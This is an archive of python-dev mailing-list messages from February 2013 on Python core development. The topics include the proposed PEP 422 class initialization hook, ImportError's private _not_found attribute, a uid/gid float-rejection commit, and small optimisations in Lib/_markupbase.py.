References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net> <kf8j16$n31$1@ger.gmane.org>
Message-ID: <CALeMXf6hPOZka9c5z1hhHo7jPvLSdxe8sdruu9Dr9Avq+eBEjw@mail.gmail.com>

On Sun, Feb 10, 2013 at 11:48 AM, Stefan Behnel <stefan_ml at behnel.de> wrote:
> So, the way to explain it to users would be 1) don't use it, 2) if you
> really need to do something to a class, use a decorator, 3) if you need to
> decide dynamically what to do, define __init_class__() and 4) don't forget
> to call super's __init_class__() in that case, and 5) only if you need to
> do something substantially more involved and know what you're doing, use a
> metaclass.

I'd revise that to:

1) if there's no harm in forgetting to decorate a subclass, use a
class decorator
2) if you want to ensure that a modification is applied to every
subclass of a single common base class, define __init_class__ (and
always call its super)
3) If you need to make the class object *act* differently (not just
initialize it or trigger some other side-effect at creation time), or
if you want the class suite to return some other kind of object,
you'll need a metaclass.

Essentially, this change fixes a hole in class decorators that doesn't
exist with function decorators: if you need the decoration applied to
subclasses, you can end up with silent failures right now.
Conversely, if you try prevent such failures using a metaclass, you
not only have a big hill to climb, but the resulting code will be
vulnerable to metaclass conflicts.

The proposed solution neatly fixes both of these problems, providing
One Obvious Way to do subclass initialization.

(An alternative, I suppose, would be to let you do something like
@@someClassDecorator to have inheritable class decorators, but as Nick
has pointed out, implementing inheritable decorators is a lot more
complicated.)

From pje at telecommunity.com  Sun Feb 10 22:46:06 2013
From: pje at telecommunity.com (PJ Eby)
Date: Sun, 10 Feb 2013 16:46:06 -0500
Subject: [Python-Dev] Why does Signature.from_function() have to check
 the type of its argument?
In-Reply-To: <kf3v3o$hsl$1@ger.gmane.org>
References: <kf30u0$r4m$1@ger.gmane.org>
	<CAPZV6o_-CWM5RyabZN3fAVGJJPxSu+AACDGw=TQMdVmq4dYRjw@mail.gmail.com>
	<CADiSq7cpQZDZygyuqP655tdAL8QtL4yrZAaERT0pr0wS4vTG4w@mail.gmail.com>
	<kf373o$skt$2@ger.gmane.org>
	<CALeMXf40raYvkX4UJf37p1Cmxy_n1aV_KJfh44VKDhXJD0F0Aw@mail.gmail.com>
	<kf3prh$1ag$1@ger.gmane.org> <kf3v3o$hsl$1@ger.gmane.org>
Message-ID: <CALeMXf5Q+cs26UBOPGcCoq47PMMUVR3=fLW5YQ=qNM9a8J4QpA@mail.gmail.com>

On Fri, Feb 8, 2013 at 5:44 PM, Stefan Behnel <stefan_ml at behnel.de> wrote:
> Argh - sorry, got it all wrong. "__instancecheck__()" works exactly the
> other way round. In the type check above, it's the FunctionType type that
> gets asked for an instance check, which doesn't help at all in this case
> because it simply doesn't know about the desired subtype relation. It would
> work if type(func).__instancecheck__() was used, but that doesn't happen.
>
> So, no help from that side, sadly.

How about you return FunctionType as your __class__ attribute?  ;-)

Your type() will still be different, but isinstance() also considers
the __class__ if it's different from the type().  (At least it does in
2.x, I've not tried it in any 3.x versions yet...)

From ethan at stoneleaf.us  Sun Feb 10 22:59:50 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Sun, 10 Feb 2013 13:59:50 -0800
Subject: [Python-Dev] Why does Signature.from_function() have to check
 the type of its argument?
In-Reply-To: <CALeMXf5Q+cs26UBOPGcCoq47PMMUVR3=fLW5YQ=qNM9a8J4QpA@mail.gmail.com>
References: <kf30u0$r4m$1@ger.gmane.org>
	<CAPZV6o_-CWM5RyabZN3fAVGJJPxSu+AACDGw=TQMdVmq4dYRjw@mail.gmail.com>
	<CADiSq7cpQZDZygyuqP655tdAL8QtL4yrZAaERT0pr0wS4vTG4w@mail.gmail.com>
	<kf373o$skt$2@ger.gmane.org>
	<CALeMXf40raYvkX4UJf37p1Cmxy_n1aV_KJfh44VKDhXJD0F0Aw@mail.gmail.com>
	<kf3prh$1ag$1@ger.gmane.org> <kf3v3o$hsl$1@ger.gmane.org>
	<CALeMXf5Q+cs26UBOPGcCoq47PMMUVR3=fLW5YQ=qNM9a8J4QpA@mail.gmail.com>
Message-ID: <51181856.6060704@stoneleaf.us>

On 02/10/2013 01:46 PM, PJ Eby wrote:
> How about you return FunctionType as your __class__ attribute?  ;-)
>
> Your type() will still be different, but isinstance() also considers
> the __class__ if it's different from the type().  (At least it does in
> 2.x, I've not tried it in any 3.x versions yet...)

Python 3.2.3 (default, Oct 19 2012, 19:53:16)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
--> class Test():
...   pass
...
--> t = Test()
--> t.__class__
<class '__main__.Test'>
--> import types
--> class Test():
...   __class__ = types.FunctionType
...
--> t = Test()
--> t.__class__
<class 'function'>
--> isinstance(t, types.FunctionType)
True

--
~Ethan~

From eric at trueblade.com  Mon Feb 11 00:06:35 2013
From: eric at trueblade.com (Eric V. Smith)
Date: Sun, 10 Feb 2013 18:06:35 -0500
Subject: [Python-Dev] [Python-checkins] cpython (3.3): Reject float as
	uid or gid.
In-Reply-To: <3Z43DT257WzScR@mail.python.org>
References: <3Z43DT257WzScR@mail.python.org>
Message-ID: <511827FB.9040905@trueblade.com>

On 2/10/2013 4:29 PM, serhiy.storchaka wrote:
> http://hg.python.org/cpython/rev/4ef048f4834e
> changeset:   82147:4ef048f4834e
> branch:      3.3
> parent:      82145:b322655a4a88
> user:        Serhiy Storchaka <storchaka at gmail.com>
> date:        Sun Feb 10 23:28:02 2013 +0200
> summary:
>   Reject float as uid or gid.
> A regression was introduced in the commit for issue issue #4591.
> 
> files:
>   Modules/posixmodule.c |  16 ++++++++++++++--
>   1 files changed, 14 insertions(+), 2 deletions(-)
> 
> 
> diff --git a/Modules/posixmodule.c b/Modules/posixmodule.c
> --- a/Modules/posixmodule.c
> +++ b/Modules/posixmodule.c
> @@ -437,7 +437,13 @@
>  _Py_Uid_Converter(PyObject *obj, void *p)
>  {
>      int overflow;
> -    long result = PyLong_AsLongAndOverflow(obj, &overflow);
> +    long result;
> +    if (PyFloat_Check(obj)) {
> +        PyErr_SetString(PyExc_TypeError,
> +                        "integer argument expected, got float");
> +        return 0;
> +    }
> +    result = PyLong_AsLongAndOverflow(obj, &overflow);
>      if (overflow < 0)
>          goto OverflowDown;
>      if (!overflow && result == -1) {

Instead of special-casing float, isn't using __index__ the preferred way
to do this?

-- 
Eric.

From solipsis at pitrou.net  Mon Feb 11 09:02:43 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 11 Feb 2013 09:02:43 +0100
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<CALeMXf5Ww1gjSA77mB7tXKh5dK9fKMn4TMTzO7Mz8S1HUrq+_g@mail.gmail.com>
Message-ID: <20130211090243.30af7e88@pitrou.net>

On Sun, 10 Feb 2013 16:27:49 -0500
PJ Eby <pje at telecommunity.com> wrote:
> On Sun, Feb 10, 2013 at 7:32 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> >    class Example:
> >        @classmethod
> >        def __init_class__(cls):
> 
> Is the @classmethod required?  What happens if it's not present?
> 
> Second, will type have a default __init_class__?  (IMO, it should,
> otherwise it will be impossible to write co-operative __init_class__
> functions.)
> 
> Only other comment is that the PEP could use a more concrete use case, e.g.:
> 
>     class Record:
>         __fields = {}
> 
>         @classmethod
>         def __init_class__(cls):
>              cls.__fields = dict(cls.__fields)  # inherited fields
>              cls.__fields.update({attr:val for attr, val in
> cls.__dict__.iteritems() if isinstance(val, Field)})
>              super().__init_class__()   # be co-operative
> 
>          # ...other methods that use the __fields attribute
> 
>     class SomeRecord(Record):
>           foo = Field(int)
>           bar = Field(str)
> 
> Putting something like this early on might help to demonstrate the
> usefulness of the feature on its own merits, independent of the
> porting issue, etc.  ;-)

Can you explain what the example does / is supposed to do?







From chris at simplistix.co.uk  Mon Feb 11 09:08:02 2013
From: chris at simplistix.co.uk (Chris Withers)
Date: Mon, 11 Feb 2013 08:08:02 +0000
Subject: [Python-Dev] _not_found attribute on ImportError
Message-ID: <5118A6E2.5010105@simplistix.co.uk>

Hi All,

I see in Python 3, some ImportErrors have grown a '_not_found' 
attribute. What's the significance of this attribute and where/how is it 
added?

The only way I can seem to create this attribute is:

ex = ImportError
ex._not_found = True

cheers,

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From ncoghlan at gmail.com  Mon Feb 11 11:33:24 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 11 Feb 2013 20:33:24 +1000
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <CALeMXf6hPOZka9c5z1hhHo7jPvLSdxe8sdruu9Dr9Avq+eBEjw@mail.gmail.com>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net> <kf8j16$n31$1@ger.gmane.org>
	<CALeMXf6hPOZka9c5z1hhHo7jPvLSdxe8sdruu9Dr9Avq+eBEjw@mail.gmail.com>
Message-ID: <CADiSq7dRRmx_AsMmnVUqBD7uU4p5=9VWeXfm01pmMowUx8rAMA@mail.gmail.com>

On Mon, Feb 11, 2013 at 7:41 AM, PJ Eby <pje at telecommunity.com> wrote:
> On Sun, Feb 10, 2013 at 11:48 AM, Stefan Behnel <stefan_ml at behnel.de> wrote:
>> So, the way to explain it to users would be 1) don't use it, 2) if you
>> really need to do something to a class, use a decorator, 3) if you need to
>> decide dynamically what to do, define __init_class__() and 4) don't forget
>> to call super's __init_class__() in that case, and 5) only if you need to
>> do something substantially more involved and know what you're doing, use a
>> metaclass.
>
> I'd revise that to:
>
> 1) if there's no harm in forgetting to decorate a subclass, use a
> class decorator
> 2) if you want to ensure that a modification is applied to every
> subclass of a single common base class, define __init_class__ (and
> always call its super)
> 3) If you need to make the class object *act* differently (not just
> initialize it or trigger some other side-effect at creation time), or
> if you want the class suite to return some other kind of object,
> you'll need a metaclass.

I like that. Perhaps the PEP should propose some additional guidance
in PEP 8 regarding class based metaprogramming?

> Essentially, this change fixes a hole in class decorators that doesn't
> exist with function decorators: if you need the decoration applied to
> subclasses, you can end up with silent failures right now.
> Conversely, if you try prevent such failures using a metaclass, you
> not only have a big hill to climb, but the resulting code will be
> vulnerable to metaclass conflicts.
>
> The proposed solution neatly fixes both of these problems, providing
> One Obvious Way to do subclass initialization.

I also realised last night that one significant benefit of cleanly
separating class creation from class initialisation (as __new__ and
__init__ separate instance creation and initialisation) is the ability
to create a shared metaclass that just changes the namespace type with
__prepare__, and then use __init_class__ to control what you do with
it.

Here's the more extended example I'm now considering adding to the PEP in
order to show the improved composability the PEP offers (writing the below
example with only metaclasses would be... challenging). It's still a
toy example, but I don't believe there is any non-toy use case for
metaclass composition that is going to be short enough to fit in a PEP:

    # Define a metaclass as in Python 3.3 and earlier
    import collections
    class OrderedMeta(type):
        def __prepare__(self, *args, **kwds):
            return collections.OrderedDict()
        # Won't be needed if we add a noop __init_class__ to type
        def __init_class__(cls):
            pass

    class OrderedClass(metaclass=OrderedMeta):
        pass

    # Easily supplement the metaclass behaviour in a class definition
    class SimpleRecord(OrderedClass):
        """Simple ordered record type (inheritance not supported)"""
        @classmethod
        def __init_class__(cls):
            super().__init_class__()
            cls.__fields = fields = []
            for attr, obj in cls.__dict__.items():
                if attr.startswith("_") or callable(obj):
                    continue
                fields.append(attr)

        def __init__(self, *values):
            super().__init__(*values)
            for attr, obj in zip(self.__fields, values):
                setattr(self, attr, obj)

        def to_dict(self):
            fields = ((k, getattr(self, k)) for k in self.__fields)
            return collections.OrderedDict(fields)

    # Supplement the metaclass differently in another class definition
    class InheritableRecord(OrderedClass):
        """More complex record type that supports inheritance"""
        @classmethod
        def __init_class__(cls):
            super().__init_class__()
            cls.__fields = fields = []
            for mro_cls in cls.mro():
                for attr, obj in cls.__dict__.items():
                    if attr.startswith("_") or callable(obj):
                        continue
                    fields.append(attr)

        def __init__(self, *values):
            super().__init__(*values)
            for attr, obj in zip(self.__fields, values):
                setattr(self, attr, obj)

        def to_dict(self):
            fields = ((k, getattr(self, k)) for k in self.__fields)
            return collections.OrderedDict(fields)

    # Compared to custom metaclasses, composition is much simpler
    class ConfusedRecord(InheritableRecord, SimpleRecord):
        """Odd record type, only included to demonstrate composition"""

        # to_dict is inherited from InheritableRecord
        def to_simple_dict(self):
            return SimpleRecord.to_dict(self)

Perhaps it would sweeten the deal if the PEP also provided
types.OrderedMeta and types.OrderedClass, such that inheriting from
types.OrderedClass and defining __init_class__ became the
one-obvious-way to do order dependent class bodies? (I checked, we can
make types depend on collections without a circular dependency. We
would need to fix the increasingly inaccurate docstring, though)

Cheers,
Nick.

--
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Mon Feb 11 11:54:26 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 11 Feb 2013 20:54:26 +1000
Subject: [Python-Dev] _not_found attribute on ImportError
In-Reply-To: <5118A6E2.5010105@simplistix.co.uk>
References: <5118A6E2.5010105@simplistix.co.uk>
Message-ID: <CADiSq7cnVqKQEKE7hRGyP1rSTsnQVvKDwqOSNQOz9mx6e-zeBg@mail.gmail.com>

On Mon, Feb 11, 2013 at 6:08 PM, Chris Withers <chris at simplistix.co.uk> wrote:
> Hi All,
>
> I see in Python 3, some ImportErrors have grown a '_not_found' attribute.
> What's the significance of this attribute and where/how is it added?
>
> The only way I can seem to create this attribute is:
>
> ex = ImportError
> ex._not_found = True

It's something importlib does to get fromlists to behave the same way
they did in the C implementation.

It is set here:
http://hg.python.org/cpython/file/3.3/Lib/importlib/_bootstrap.py
To make these pass:
http://hg.python.org/cpython/file/3.3/Lib/test/test_importlib/import_/test_fromlist.py

You'd have to ask Brett which specific test is affected, or else you
could comment out the line that sets _not_found and see what breaks
(you may need to refreeze _frozen_importlib first).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From chris at simplistix.co.uk  Mon Feb 11 11:58:58 2013
From: chris at simplistix.co.uk (Chris Withers)
Date: Mon, 11 Feb 2013 10:58:58 +0000
Subject: [Python-Dev] _not_found attribute on ImportError
In-Reply-To: <CADiSq7cnVqKQEKE7hRGyP1rSTsnQVvKDwqOSNQOz9mx6e-zeBg@mail.gmail.com>
References: <5118A6E2.5010105@simplistix.co.uk>
	<CADiSq7cnVqKQEKE7hRGyP1rSTsnQVvKDwqOSNQOz9mx6e-zeBg@mail.gmail.com>
Message-ID: <5118CEF2.9070300@simplistix.co.uk>

On 11/02/2013 10:54, Nick Coghlan wrote:
> On Mon, Feb 11, 2013 at 6:08 PM, Chris Withers<chris at simplistix.co.uk>  wrote:
>> Hi All,
>>
>> I see in Python 3, some ImportErrors have grown a '_not_found' attribute.
>> What's the significance of this attribute and where/how is it added?
>>
>> The only way I can seem to create this attribute is:
>>
>> ex = ImportError
>> ex._not_found = True
>
> It's something importlib does to get fromlists to behave the same way
> they did in the C implementation.
>
> It is set here:
> http://hg.python.org/cpython/file/3.3/Lib/importlib/_bootstrap.py

OK.

Have any other exceptions grown new attributes in Python 3?

cheers,

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From ncoghlan at gmail.com  Mon Feb 11 12:23:00 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 11 Feb 2013 21:23:00 +1000
Subject: [Python-Dev] _not_found attribute on ImportError
In-Reply-To: <5118CEF2.9070300@simplistix.co.uk>
References: <5118A6E2.5010105@simplistix.co.uk>
	<CADiSq7cnVqKQEKE7hRGyP1rSTsnQVvKDwqOSNQOz9mx6e-zeBg@mail.gmail.com>
	<5118CEF2.9070300@simplistix.co.uk>
Message-ID: <CADiSq7e4xo14eq7nvO8YSDpVuDVEkyS+sApUjpFMGEWCckvcuQ@mail.gmail.com>

On Mon, Feb 11, 2013 at 8:58 PM, Chris Withers <chris at simplistix.co.uk> wrote:
> Have any other exceptions grown new attributes in Python 3?

Off the top of my head, ImportError grew "name" and "path" attributes
in 3.3, everything grew __cause__, __context__ and __traceback__
attributes in 3.0 and the __suppress_context__ attribute in 3.3.

PEP 3151 may have moved a few attributes around in 3.3 as well.

If there are any others, you'll need to trawl the What's New documents
looking for them.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From just_another_developer at yahoo.de  Mon Feb 11 13:16:48 2013
From: just_another_developer at yahoo.de (Developer Developer)
Date: Mon, 11 Feb 2013 12:16:48 +0000 (GMT)
Subject: [Python-Dev] Question regarding: Lib/_markupbase.py
Message-ID: <1360585008.27100.YahooMailNeo@web171404.mail.ir2.yahoo.com>

Hello all,

I was having a look at the file:?Lib/_markupbase.py (@ 82151), function: "_parse_doctype_element" and have seen something that has caught my attention:

if '>' in rawdata[j:]:
? ? return rawdata.find(">", j) + 1


Wouldn't it be better to do the following?
pos = rawdata.find(">", j)
if pos != -1:
? ? return pos + 1

Otherwise I think we are scanning rawdata[j:] twice.

Best regards


From techtonik at gmail.com  Mon Feb 11 13:49:39 2013
From: techtonik at gmail.com (anatoly techtonik)
Date: Mon, 11 Feb 2013 15:49:39 +0300
Subject: [Python-Dev] My CLA
Message-ID: <CAPkN8xKytmzK6NLZZYTuTW5K3QUD58z-aMb+_mUKSZ31kJj+kQ@mail.gmail.com>

Python Contributor Agreement
----------------------------
I allow PSF to release all my code that I submitted to
it, under any open source license.
-- 
anatoly t.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130211/13f98ac8/attachment.html>

From phd at phdru.name  Mon Feb 11 14:01:51 2013
From: phd at phdru.name (Oleg Broytman)
Date: Mon, 11 Feb 2013 17:01:51 +0400
Subject: [Python-Dev] My CLA
In-Reply-To: <CAPkN8xKytmzK6NLZZYTuTW5K3QUD58z-aMb+_mUKSZ31kJj+kQ@mail.gmail.com>
References: <CAPkN8xKytmzK6NLZZYTuTW5K3QUD58z-aMb+_mUKSZ31kJj+kQ@mail.gmail.com>
Message-ID: <20130211130151.GB28063@iskra.aviel.ru>

On Mon, Feb 11, 2013 at 03:49:39PM +0300, anatoly techtonik <techtonik at gmail.com> wrote:
> Python Contributor Agreement
> ----------------------------
> I allow PSF to release all my code that I submitted to
> it, under any open source license.

   Good intention but wrong way of expressing it. Please do it properly --
via a signed paper. You can send it by snail mail, or you can scan it
and send by email.

Oleg.
-- 
     Oleg Broytman            http://phdru.name/            phd at phdru.name
           Programmers don't die, they just GOSUB without RETURN.

From eliben at gmail.com  Mon Feb 11 14:29:56 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Mon, 11 Feb 2013 05:29:56 -0800
Subject: [Python-Dev] [Python-checkins] Daily reference leaks
	(b53b029895df): sum=2
In-Reply-To: <E1U4lUw-0001cz-EU@ap.vmr.nerim.net>
References: <E1U4lUw-0001cz-EU@ap.vmr.nerim.net>
Message-ID: <CAF-Rda-bTfUyKExe3QYqi8nhp=V-J2sLBig7m3dc8oaQun_znA@mail.gmail.com>

On Sun, Feb 10, 2013 at 9:00 PM, <solipsis at pitrou.net> wrote:

> results for b53b029895df on branch "default"
> --------------------------------------------
>
> test_concurrent_futures leaked [2, 1, -1] memory blocks, sum=2
>
>
When did this start happening?

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130211/785ff0b9/attachment.html>

From fred at fdrake.net  Mon Feb 11 15:10:53 2013
From: fred at fdrake.net (Fred Drake)
Date: Mon, 11 Feb 2013 09:10:53 -0500
Subject: [Python-Dev] Question regarding: Lib/_markupbase.py
In-Reply-To: <1360585008.27100.YahooMailNeo@web171404.mail.ir2.yahoo.com>
References: <1360585008.27100.YahooMailNeo@web171404.mail.ir2.yahoo.com>
Message-ID: <CAFT4OTFqq86E4=NDmohkkG8zrPpE=ZyhrVxURkVGrBEVH9AX7Q@mail.gmail.com>

On Mon, Feb 11, 2013 at 7:16 AM, Developer Developer
<just_another_developer at yahoo.de> wrote:
> Wouldn't it be better to do the following?
...
> Otherwise I think we are scanning rawdata[j:] twice.

Yes, that would be better, and avoids a string object creation as well.


  -Fred

-- 
Fred L. Drake, Jr.    <fred at fdrake.net>
"A storm broke loose in my mind."  --Albert Einstein

From barry at python.org  Mon Feb 11 15:23:34 2013
From: barry at python.org (Barry Warsaw)
Date: Mon, 11 Feb 2013 09:23:34 -0500
Subject: [Python-Dev] _not_found attribute on ImportError
In-Reply-To: <CADiSq7e4xo14eq7nvO8YSDpVuDVEkyS+sApUjpFMGEWCckvcuQ@mail.gmail.com>
References: <5118A6E2.5010105@simplistix.co.uk>
	<CADiSq7cnVqKQEKE7hRGyP1rSTsnQVvKDwqOSNQOz9mx6e-zeBg@mail.gmail.com>
	<5118CEF2.9070300@simplistix.co.uk>
	<CADiSq7e4xo14eq7nvO8YSDpVuDVEkyS+sApUjpFMGEWCckvcuQ@mail.gmail.com>
Message-ID: <20130211092334.7b9049b3@anarchist.wooz.org>

On Feb 11, 2013, at 09:23 PM, Nick Coghlan wrote:

>On Mon, Feb 11, 2013 at 8:58 PM, Chris Withers <chris at simplistix.co.uk> wrote:
>> Have any other exceptions grown new attributes in Python 3?
>
>Off the top of my head, ImportError grew "name" and "path" attributes
>in 3.3, everything grew __cause__, __context__ and __traceback__
>attributes in 3.0 and the __suppress_context__ attribute in 3.3.
>
>PEP 3151 may have moved a few attributes around in 3.3 as well.
>
>If there are any others, you'll need to trawl the What's New documents
>looking for them.

Those public attributes should be documented.  _not_found should not be since
it's an implementation detail.  Also, Brett has left little TODO easter eggs
in the code which clearly indicate changes he plans for 3.4, although I don't
know where the plans for ModuleNotFound are documented.

In the meantime, I just ran a test against trunk, with the following change
and nothing broke afaict.

diff -r a79650aacb43 Lib/importlib/_bootstrap.py
--- a/Lib/importlib/_bootstrap.py	Mon Feb 11 13:33:00 2013 +0000
+++ b/Lib/importlib/_bootstrap.py	Mon Feb 11 09:16:51 2013 -0500
@@ -1640,6 +1640,7 @@
                     # TODO(brett): In Python 3.4, have import raise
                     #   ModuleNotFound and catch that.
                     if getattr(exc, '_not_found', False):
+                        del exc._not_found
                         if exc.name == from_name:
                             continue
                     raise

I won't commit this, but it really needs another hasattr() check to be
completely valid.

Cheers,
-Barry

From brett at python.org  Mon Feb 11 15:44:47 2013
From: brett at python.org (Brett Cannon)
Date: Mon, 11 Feb 2013 09:44:47 -0500
Subject: [Python-Dev] _not_found attribute on ImportError
In-Reply-To: <20130211092334.7b9049b3@anarchist.wooz.org>
References: <5118A6E2.5010105@simplistix.co.uk>
	<CADiSq7cnVqKQEKE7hRGyP1rSTsnQVvKDwqOSNQOz9mx6e-zeBg@mail.gmail.com>
	<5118CEF2.9070300@simplistix.co.uk>
	<CADiSq7e4xo14eq7nvO8YSDpVuDVEkyS+sApUjpFMGEWCckvcuQ@mail.gmail.com>
	<20130211092334.7b9049b3@anarchist.wooz.org>
Message-ID: <CAP1=2W6W9f8KyaCruLCASgYKguJ3S6CvQ9nFd5OUCr_PDstOpQ@mail.gmail.com>

On Mon, Feb 11, 2013 at 9:23 AM, Barry Warsaw <barry at python.org> wrote:

> On Feb 11, 2013, at 09:23 PM, Nick Coghlan wrote:
>
> >On Mon, Feb 11, 2013 at 8:58 PM, Chris Withers <chris at simplistix.co.uk>
> wrote:
> >> Have any other exceptions grown new attributes in Python 3?
> >
> >Off the top of my head, ImportError grew "name" and "path" attributes
> >in 3.3, everything grew __cause__, __context__ and __traceback__
> >attributes in 3.0 and the __suppress_context__ attribute in 3.3.
> >
> >PEP 3151 may have moved a few attributes around in 3.3 as well.
> >
> >If there are any others, you'll need to trawl the What's New documents
> >looking for them.
>
> Those public attributes should be documented.


They are:
http://docs.python.org/3.4/library/exceptions.html?highlight=importerror#ImportError


>  _not_found should not be since
> it's an implementation detail.


Yep, hence the leading underscore.


>  Also, Brett has left little TODO easter eggs
> in the code which clearly indicate changes he plans for 3.4, although I
> don't
> know where the plans for ModuleNotFound are documented.
>

http://bugs.python.org/issue15767

Basically it's a matter of choosing ModuleNotFound vs. ModuleNotFoundError
and then writing the code.

-Brett


>
> In the meantime, I just ran a test against trunk, with the following change
> and nothing broke afaict.
>
> diff -r a79650aacb43 Lib/importlib/_bootstrap.py
> --- a/Lib/importlib/_bootstrap.py       Mon Feb 11 13:33:00 2013 +0000
> +++ b/Lib/importlib/_bootstrap.py       Mon Feb 11 09:16:51 2013 -0500
> @@ -1640,6 +1640,7 @@
>                      # TODO(brett): In Python 3.4, have import raise
>                      #   ModuleNotFound and catch that.
>                      if getattr(exc, '_not_found', False):
> +                        del exc._not_found
>                          if exc.name == from_name:
>                              continue
>                      raise
>
> I won't commit this, but it really needs another hasattr() check to be
> completely valid.
>
> Cheers,
> -Barry
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/brett%40python.org
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130211/6348d823/attachment.html>

From just_another_developer at yahoo.de  Mon Feb 11 15:47:00 2013
From: just_another_developer at yahoo.de (Developer Developer)
Date: Mon, 11 Feb 2013 14:47:00 +0000 (GMT)
Subject: [Python-Dev] Question regarding: Lib/_markupbase.py
In-Reply-To: <CAFT4OTFqq86E4=NDmohkkG8zrPpE=ZyhrVxURkVGrBEVH9AX7Q@mail.gmail.com>
References: <1360585008.27100.YahooMailNeo@web171404.mail.ir2.yahoo.com>
	<CAFT4OTFqq86E4=NDmohkkG8zrPpE=ZyhrVxURkVGrBEVH9AX7Q@mail.gmail.com>
Message-ID: <1360594020.18756.YahooMailNeo@web171403.mail.ir2.yahoo.com>

Same thing in the function: "_parse_doctype_attlist":

if ")" in rawdata[j:]:
? ? j = rawdata.find(")", j) + 1
else:
? ? return -1

I would change it to:
pos =?rawdata.find(")", j)
if pos != -1:
? ? j = pos + 1
else:
? ? return -1


Best regards,
Guido


----- Urspr?ngliche Message -----
Von: Fred Drake <fred at fdrake.net>
An: Developer Developer <just_another_developer at yahoo.de>
CC: "python-dev at python.org" <python-dev at python.org>
Gesendet: 15:10 Montag, 11.Februar 2013
Betreff: Re: [Python-Dev] Question regarding: Lib/_markupbase.py

On Mon, Feb 11, 2013 at 7:16 AM, Developer Developer
<just_another_developer at yahoo.de> wrote:
> Wouldn't it be better to do the following?
...
> Otherwise I think we are scanning rawdata[j:] twice.

Yes, that would be better, and avoids a string object creation as well.


? -Fred

-- 
Fred L. Drake, Jr.? ? <fred at fdrake.net>
"A storm broke loose in my mind."? --Albert Einstein


From storchaka at gmail.com  Mon Feb 11 16:07:31 2013
From: storchaka at gmail.com (Serhiy Storchaka)
Date: Mon, 11 Feb 2013 17:07:31 +0200
Subject: [Python-Dev] [Python-checkins] cpython (3.3): Reject float as
	uid or gid.
In-Reply-To: <511827FB.9040905@trueblade.com>
References: <3Z43DT257WzScR@mail.python.org> <511827FB.9040905@trueblade.com>
Message-ID: <kfb1fl$6gn$1@ger.gmane.org>

On 11.02.13 01:06, Eric V. Smith wrote:
> Instead of special-casing float, isn't using __index__ the preferred way
> to do this?

Perhaps. I just copied this code from PyArg_ParseTuple*() for 'l' format.


From barry at python.org  Mon Feb 11 16:13:07 2013
From: barry at python.org (Barry Warsaw)
Date: Mon, 11 Feb 2013 10:13:07 -0500
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <20130210143442.5e3cafcc@pitrou.net>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
Message-ID: <20130211101307.2d36ebcb@anarchist.wooz.org>

On Feb 10, 2013, at 02:34 PM, Antoine Pitrou wrote:

>zope.interface has been ported to Python 3, so the annoyance can't be
>very blocking.

The syntax is different, but I actually prefer the Python 3-compatible syntax
better.  It uses a class decorator instead of a magic class attribute, so it's
much clearer IMHO.

Works in Python 2, too, fsvo.

-Barry

From barry at python.org  Mon Feb 11 16:15:36 2013
From: barry at python.org (Barry Warsaw)
Date: Mon, 11 Feb 2013 10:15:36 -0500
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <20130210152814.66c26f76@pitrou.net>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
